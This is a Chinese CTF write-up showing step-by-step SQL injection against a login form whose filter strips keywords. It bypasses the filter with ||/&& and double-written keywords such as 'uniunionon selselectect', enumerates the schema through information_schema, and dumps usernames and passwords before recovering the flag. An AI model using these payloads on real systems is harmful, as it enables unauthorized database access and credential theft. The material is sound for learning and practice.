先来个基本操作
可以看到or是被过滤了
再试试字段数的判断
从返回看or 确实是被过滤了,试了下大小写绕过没有成功
用||代替or尝试,结果是成功的。(and可以用&&绕过)
可order by怎么办,那就先跳过直接看看能不能试出数据库名
1’ union select 1,database()#
可以看到union select,联合查询被过滤,这里可用双写绕过
一些简单过滤使用replace()将函数置换为空,只对单个有效,双写后就能绕过
1’ uniunionon selselectect 1,database()# (不是unionunion写两遍,是拆开来两遍)
列数不对再加个试试
1’ uniunionon selselectect 1,2,database()#
库名就有了
1’ uniunionon selselectect 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’#
可以看到.tables后面的where被过滤,前面部分也被过滤,information中有or,尝试多个双写,最后能返回正确结果时 from information where都需要双写
1’ uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=‘geek’#
接下去爆列名,该双写的还是要双写
1’ uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘b4bsql’#
读数据
username:1’ uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#
可以查看源代码,感觉更方便看到flag
flag{8ab005d2-a803-43b1-a26f-ff39a1dc643b}
双写绕过:在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成selselectect,在经过waf的处理之后又变成select,达到绕过的要求。